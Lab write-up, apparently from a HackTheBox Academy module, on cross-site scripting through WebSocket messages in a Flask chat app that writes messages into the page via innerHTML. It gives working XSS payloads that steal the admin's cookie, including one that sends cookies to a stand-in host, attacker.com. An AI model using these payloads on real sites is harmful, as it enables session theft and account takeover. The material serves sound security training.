Like any other unsanitized input, embedding messages from a WebSocket connection into a website can lead to Cross-Site Scripting (XSS). If an attacker can send a malicious XSS payload to other users via WebSocket, causing it to be embedded in their browser's DOM, a valid XSS attack vector exists.
Chat web application that allows users to send messages to the admin user via WebSockets.
to_admin = queue.Queue()
to_user = queue.Queue()
@sock.route('/userws')
def userws(sock):
while True:
if not to_user.empty():
msg = to_user.get()
sock.send(msg)
msg = sock.receive(timeout=1)
if msg:
to_admin.put(msg)
@sock.route('/adminws')
def adminws(sock):
while True:
if not to_admin.empty():
msg = to_admin.get()
sock.send(msg)
msg = sock.receive(timeout=1)
if msg:
to_user.put(msg)Flow:
- User messages →
to_adminqueue → sent to admin via WebSocket - Admin messages →
to_userqueue → sent to user via WebSocket
<script>
var form = document.getElementById("chatform");
form.addEventListener('submit', sendMessage);
const socket = new WebSocket('ws://' + location.host + '/userws');
socket.addEventListener('message', ev => {
log('Admin', ev.data);
});
function log (user, msg){
var today = new Date();
var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
document.getElementById('chat').innerHTML += `<div class="chat-message clearfix"><div class="chat-message-content clearfix"><span class="chat-time">${time}</span><h5>${user}</h5><p>${msg}</p></div></div><hr>`;
}
function sendMessage(event){
event.preventDefault();
let msg = document.getElementById("msg").value;
socket.send(msg);
log('You', msg);
document.getElementById("msg").value = '';
}
</script>document.getElementById('chat').innerHTML += `...<p>${msg}</p>...`;Problem: Message added to DOM via innerHTML without any sanitization → XSS possible!
pip install Flask flask-sock
# Change port to 8000 (unprivileged)
python server.pyOpen both endpoints:
- User:
http://127.0.0.1:8000/ - Admin:
http://127.0.0.1:8000/admin
Send: <strike>PoC</strike>
Result in admin's browser: PoC (strikethrough text)
Confirmed: No sanitization applied!
Sending: <script>alert(1)</script>
Result: Empty message displayed, NO alert popup!
Reason: HTML5 specification security measure:
"script elements inserted using innerHTML do not execute when they are inserted"
Use event handlers instead (see PayloadsAllTheThings):
<img src='x' onerror='alert(1)'>Result: Alert popup in admin's browser! ✓
Task: Obtain the admin user's cookie.
wget https://academy.hackthebox.com/storage/modules/231/src_websocket_xss.zip
unzip src_websocket_xss.zipKey finding in frontend:
document.getElementById('chat').innerHTML += `...${msg}...`;No sanitization → XSS via WebSocket messages.
Use socket.send() to exfiltrate admin's cookie back to us:
<img src="x" onerror="socket.send(document.cookie)">Send the XSS payload as a chat message.
The admin's browser executes the payload:
onerrortriggers (invalid image src)socket.send(document.cookie)executes- Admin's cookie sent back via WebSocket
- Cookie displayed in your chat!
┌─────────────────────────────────────────────────────────────────────────┐
│ WebSocket XSS Attack Flow │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ User sends: <img src="x" onerror="socket.send(document.cookie)"> │
│ │ │
│ ▼ │
│ Server → /userws → to_admin queue → /adminws │
│ │ │
│ ▼ │
│ Admin browser: innerHTML += msg (NO SANITIZATION!) │
│ │ │
│ ▼ │
│ <img> tag rendered → onerror fires → socket.send(document.cookie) │
│ │ │
│ ▼ │
│ Cookie sent back → /adminws → to_user queue → /userws → USER │
│ │
└─────────────────────────────────────────────────────────────────────────┘
| Payload | Purpose |
|---|---|
<img src=x onerror=alert(1)> |
PoC - alert popup |
<img src=x onerror=socket.send(document.cookie)> |
Steal cookies via WebSocket |
<img src=x onerror=fetch('http://attacker.com/?c='+document.cookie)> |
Exfiltrate to external server |